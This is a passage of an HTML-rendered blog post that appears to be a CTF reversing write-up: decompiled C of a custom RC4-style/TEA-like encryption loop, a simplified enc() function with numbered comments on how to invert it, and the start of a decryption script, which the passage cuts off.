&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v175&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v175&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v176&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v173&lt;/span>&lt;span style="color:#f92672">^&lt;/span>&lt;span style="color:#111">v174&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v176&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v176&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v51&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">~&lt;/span>&lt;span style="color:#111">v175&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v29&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v51&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#111">v176&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v53&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">~&lt;/span>&lt;span style="color:#111">v176&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v54&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v53&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#111">v175&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v55&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v54&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">v29&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">v55&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v72&lt;/span> &lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0x20&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// static 3 output
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">v177&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#111">v72&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v88&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// static 4 output
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">v178&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">v88&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v91&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">~&lt;/span>&lt;span style="color:#111">v177&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v80&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v91&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#111">v178&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v93&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">~&lt;/span>&lt;span style="color:#111">v178&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v94&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v93&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#111">v177&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v179&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v94&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">v80&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">3284565212&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v180&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v179&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v96&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">0x800LL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v181&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">255LL&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#111">v96&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v182&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v181&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v183&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v182&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v98&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v180&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">v183&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">v98&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">1uLL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#ae81ff">0x478&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>now as you can see, this is pretty good c decompilation, i can reverse it but i still used llm to turn it into a more simplified c version, so i can use it for scripting, the four static constants are used for multiplication and division, and since they are powers of 2, they are simplified to right and left shifts. it is also using &lt;code>v168&lt;/code> to index into the state array, which is incremented by a constant value 0x9D175C01 (note that the addition overflows, and the result will be cut to fit 32bits).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">uint64_t&lt;/span> &lt;span style="color:#75af00">enc&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">key&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">256&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint64_t&lt;/span> &lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Initialize S-box
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">255&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// RC4-style key scheduling
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v170&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v171&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">255&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v184&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v170&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v184&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v170&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">key&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v171&lt;/span>&lt;span style="color:#111">])&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">tmp&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v170&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v170&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">tmp&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">v171&lt;/span> &lt;span style="color:#f92672">&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v171&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">do&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v172&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 7. we can get this after decrementig v168 by the constant
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v175&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v172&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#111">);&lt;/span> &lt;span style="color:#75715e">// 8. obviously we got this
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v176&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">((&lt;/span>&lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">))&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 9. this is using the second before encrypting it, which we decrypted in step 6
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">v175&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">v176&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 10. this we can get since.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Second part operations
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v179&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">);&lt;/span> &lt;span style="color:#75715e">// 5. v179 we have since it&amp;#39;s using the first after it is incremented (it&amp;#39;s using the encrypted first)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">0x9D175C01U&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// Constant increment
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v180&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v179&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 6. since we have this we can get the decrypted value of second (by subtracting the xor result)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Final operations
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v181&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">11&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 2. we have this value since we have v168
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v183&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v181&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 3. this too since we just calculated v181
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">v180&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">v183&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// 4. to get this we need v180
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">0x478&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 1. we start here, where we have first and second and the last value of v168
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>now our task is to reverse this function, i have written my line of thought for reversing it&amp;rsquo;s operations as comments in the code above, follow steps 1 to 10.&lt;/p>
&lt;p>here is the final decryption script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">uint64_t&lt;/span> &lt;span style="color:#75af00">dec&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">key&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span>&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">output&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">256&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint64_t&lt;/span> &lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Initialize S-box
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">255&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// RC4-style key scheduling
